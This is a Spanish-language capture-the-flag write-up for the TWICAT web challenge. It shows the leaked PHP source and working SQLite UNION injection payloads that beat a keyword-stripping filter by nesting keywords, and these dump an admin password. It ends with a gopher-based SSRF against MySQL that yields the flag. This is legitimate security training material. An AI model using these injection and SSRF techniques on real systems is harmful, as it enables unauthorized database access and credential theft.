TWICAT
Puntuación: 450
El enunciado de este reto indica lo siguiente:
This is TWICAT, a cat based social network for your cat(s) to get in touch with others. It seems its administrator is so lazy to properly configure the infrastructure, will you be able to catch the hidden flag?
Mirrors:
Al acceder a la url facilitada obtenemos la siguiente ventana:
Analizamos el código fuente de la aplicación y se detecta una vulnerabilidad de LFI en el apartado de Image Viewer, así que introduciendo “index.php” obtenemos el código fuente en base64 que decodificado sería el siguiente código:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 |
<!DOCTYPE html> <html> <?php ini_set('display_errors', 'off'); class TwiCats { public function doQuery($sql) { $pdo = new SQLite3('../twicat.db', SQLITE3_OPEN_READONLY); $pattern ="/.*['\"].*OR.*/i"; $user_match = preg_match($pattern, $sql); $chars_consec = preg_match('/(.)\\1{1}/', $sql); if($user_match+$chars_consec > 0) { die("<h1><span style='color: red;'>SQLi detected.</span></h1>"); } else { $securesql = implode (['order', 'union', 'by', 'from', 'group', 'select', 'insert', 'into', 'values'], '|'); $sql = preg_replace ('/' . $securesql . '/i', '', $sql); $query = 'SELECT id,name FROM cats WHERE id=' . $sql . ' LIMIT 1'; $getCats = $pdo->query($query); $cats = $getCats->fetchArray(SQLITE3_ASSOC); if ($cats) { return $cats; } return false; } } } if (isset($_POST['cat_id']) && isset($_POST['submit'])) { $cat = new TwiCats (); $catDetails = $cat->doQuery($_POST['cat_id']); } if (isset($_POST['name']) && isset($_POST['submit'])) { if(strpos($_POST['name'], "/") !== false){ die("Sorry, you are not allowed to see this resource."); } $_POST['name'] = strtolower($_POST['name']); echo "<h1>Here you have your image -></h1><br>"; echo base64_encode(file_get_contents($_POST['name'])); die(); } ?> <head> <title>TWICAT</title> <link rel="icon" type="image/jpg" href="twicat-favicon.jpg"> <link rel="stylesheet" type="text/css" href="assets/css/bootstrap.min.css" media="screen"> <link rel="stylesheet" type="text/css" href="assets/css/fontawesome/css/font-awesome.min.css" media="all" /> <link rel="stylesheet" type="text/css" href="assets/css/application.css" media="screen"> <script src="assets/js/jquery.js"></script> <script src="assets/js/bootstrap.min.js"></script> </head> <body> <div class="navbar navbar-fixed-top navbar-inverse" style='margin-top:-2px;'> <div class="navbar-inner"> <div class="container"> <div class="nav-collapse collapse"> <ul class="nav"> <li class='active'><a class="brand" href="">TWICAT</a></li> </ul> <ul class="nav pull-right"> <li class='active' style='margin-top:2px;'><a href="<?php basename($_SERVER['PHP_SELF']); ?>" ><i class="icon-user"></i> Login </a></li> </ul> </div> </div> </div> </div> <style>body { background-color: #f5f5f5; }</style> <div class="container"> <br> <div id="error" ></div> <div class="row"> <div class="span4"></div> <center><h2>Cat Details</h1><br> <div id="login"> <form class="form-signin" action="<?php basename($_SERVER['PHP_SELF']); ?>" method="post" style="border:0px;"> <center><h5>Cat ID</h5> <input type="text" class="input-block-level" placeholder="ID" name="cat_id" id="ID" required> <input class="btn btn-primary" type="submit" name='submit' value = "Submit" style='margin-top:10px;'/></center> </form> </div> <br> <?php if (isset ($catDetails) && !empty ($catDetails)): ?> <div class="row"> <p class="well"><strong>Username for given ID</strong>: <?php echo $catDetails['NAME']; ?> </p> <p class="well"><strong>Other User Details</strong>: <br /> <?php $keys = array_keys ($catDetails); $i = 0; foreach ($catDetails as $user) { echo $keys[$i++] . ' -> ' . $user . "<br />"; } ?> </p> </div> <?php endif; ?> <hr><br> <center><h2>Image Viewer</h1><br> <div id="login"> <form class="form-signin" action="<?php basename($_SERVER['PHP_SELF']); ?>" method="post" style="border:0px;"> <h5>Image name</h5> <input type="text" class="input-block-level" placeholder="misifu.jpeg" name="name" id="name" required> <input class="btn btn-primary" type="submit" name='submit' value ="Submit" style='margin-top:10px;'/></center> </form> </div> <div class="span4"></div> </div> </div> </body> </html> |
Analizando el código fuente obtenido se detecta que no era posible inyectar otros directorios del sistema ya que detecta el carácter “/” por lo que se prueba a realizar una inyección SQL sobre la base de datos utilizada SQLite.
Después de muchas pruebas se consigue bypassear las comprobaciones de la sección de “Cat ID” con el siguiente payload:
1 |
cat_id=-1+UNIUNIONON+AlL+SELSELECTECT+(SELSELECTECT+tbl_name+FRFROMOM+sqlite_master+WHERE+type='table'+and+tbl_name+NOT+like+'sqlite_%'),'123' |
Posteriormente obtenemos las columnas de la tabla cats con el siguiente payload:
1 |
cat_id=-1+UNIUNIONON+AlL+SELSELECTECT+(SESELECTLECT+sql+FRFROMOM+sqlite_master+WHERE+name+='CATS'+LIMIT+1),'123' |
Y por último obtenemos las credenciales del usuario admin con el siguiente payload:
1 |
cat_id=-1+UNIUNIONON+AlL+SELSELECTECT+(SELSELECTECT+PWD+FRFROMOM+cats+WHERE+id=1),'123' |
Una vez que ya hemos obtenido los datos del usuario admin y pass c4tH4x0r probamos a loguearnos con estos datos en la url /admin.php y accedemos a una nueva parte de la web en la que se ofrecen 3 funcionalidades más.
Observamos los mismos pero no se consigue nada relevante, así que al igual que hicimos con el código de index.php, lo hacemos en este caso para obtener el código de admin.php, decodificamos el base64 obtenido y observamos el siguiente código:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 |
<!DOCTYPE html> <html> <?php ini_set('display_errors', 'off'); require_once 'hidden/data.php'; if (isset($_POST['submit']) && isset($_POST['username']) && isset($_POST['password'])) { if ( $_POST['username'] === $username && $_POST['password'] === $password) { session_start(); $_SESSION['auth'] = "1"; session_write_close(); } } ?> <head> <title>TWICAT - Administrator Panel</title> <link rel="icon" type="image/jpg" href="twicat-favicon.jpg"> <link rel="stylesheet" type="text/css" href="assets/css/bootstrap.min.css" media="screen"> <link rel="stylesheet" type="text/css" href="assets/css/fontawesome/css/font-awesome.min.css" media="all" /> <link rel="stylesheet" type="text/css" href="assets/css/application.css" media="screen"> <script src="assets/js/jquery.js"></script> <script src="assets/js/bootstrap.min.js"></script> </head> <body> <div class="navbar navbar-fixed-top navbar-inverse" style='margin-top:-2px;'> <div class="navbar-inner"> <div class="container"> <div class="nav-collapse collapse"> <ul class="nav"> <li class='active'><a class="brand" href="">TWICAT - Admin Panel</a></li> </ul> <ul class="nav pull-right"> <li class='active' style='margin-top:2px;'><a href="<?php basename($_SERVER['PHP_SELF']); ?>" ><i class="icon-user"></i> Admin </a></li> </ul> </div> </div> </div> </div> <style>body { background-color: #f5f5f5; }</style> <div class="container"> <br> <div id="error" ></div> <div class="row"> <div class="span4"></div> <?php session_start(); if (!isset($_SESSION['auth'])): ?> <center><h2>Administrator Login</h1><br> <div id="login"> <form class="form-signin" action="<?php basename($_SERVER['PHP_SELF']); ?>" method="post" style="border:0px;"> <h5>Username</h5> <input type="text" class="input-block-level" placeholder="Username" name="username" required> <h5>Password</h5> <input type="password" class="input-block-level" placeholder="Password" name="password" required> <input class="btn btn-primary" type="submit" name='submit' value = "Submit" style='margin-top:10px;'/></center> </form> </div> <?php endif; session_write_close(); ?> <?php session_start(); if (isset($_SESSION['auth'])): ?> <center><h2>Administrator Panel</h1><br> <p>Here you have the available options to manage the server</p><br> <h4>Service Check</h4> <!--Fix user pwn. --> <div id="login"> <form class="form-signin" action="<?php basename($_SERVER['PHP_SELF']); ?>" method="post" style="border:0px;"> <input class="btn btn-primary" type="submit" name='db_check' value = "Check" style='margin-top:10px;'/> </form> <?php if (isset($_SESSION['auth']) && isset($_POST['db_check'])) { exec("netstat -antp", $out); echo "<pre>"; print_r($out); echo "</pre>"; } ?> </div> <br> <h4>Connectivity Check</h4> <div id="login"> <form class="form-signin" action="<?php basename($_SERVER['PHP_SELF']); ?>" method="post" style="border:0px;"> <input class="btn btn-primary" type="submit" name='con_check' value = "Check" style='margin-top:10px;'/> </form> <?php if (isset($_SESSION['auth']) && isset($_POST['con_check'])) { exec("ping -c 1 8.8.8.8", $out); echo "<pre>"; print_r($out); echo "</pre>"; } ?> </div> <br> <h4>Post Check</h4> <div id="login"> <form class="form-signin" action="<?php basename($_SERVER['PHP_SELF']); ?>" method="post" style="border:0px;"> <input type="text" class="input-block-level" placeholder="Post URL" name="post_url" required> <input class="btn btn-primary" type="submit" name='post_check' value = "Check" style='margin-top:10px;'/> </form> <?php if (isset($_SESSION['auth']) && isset($_POST['post_check'])) { exec(escapeshellcmd("curl " . escapeshellarg($_POST['post_url']) . " --output -"), $out); echo "<pre>"; print_r($out); echo "</pre>"; } ?> </div> <br> <?php endif; session_write_close(); ?> <br> <div class="span4"></div> </div> </div> </body> </html> |
Observamos en el anterior fichero, entre otras cosas, el siguiente comentario:
1 |
<!--Fix user pwn. --> |
Después de la realización de muchas pruebas, se identifica que es posible conectar con el servicio de MySQL (que corría en el puerto 3306 de la máquina) mediante curl con gopher si el usuario no tenía contraseña y conseguir así explotar una vulnerabilidad de SSRF, utilizando para ello el usuario indicado en el anterior comentario “pwn”.
Utilizamos entonces la herramienta Gopherus para generar nuestro payload de conexión con MySQL.
Generamos entonces el payload para el usuario “pwn” y la query:
1 |
SELECT schema_name FROM information_schema.schemata |
Codificamos el anterior payload para enviarlo al servidor y boom!
Conectamos con mysql, obtenemos el resultado de nuestra consulta y con ello la flag:
1 |
flag_gopher_isnt_s3cur3 |
Puedes ver el resto de writeups en este enlace.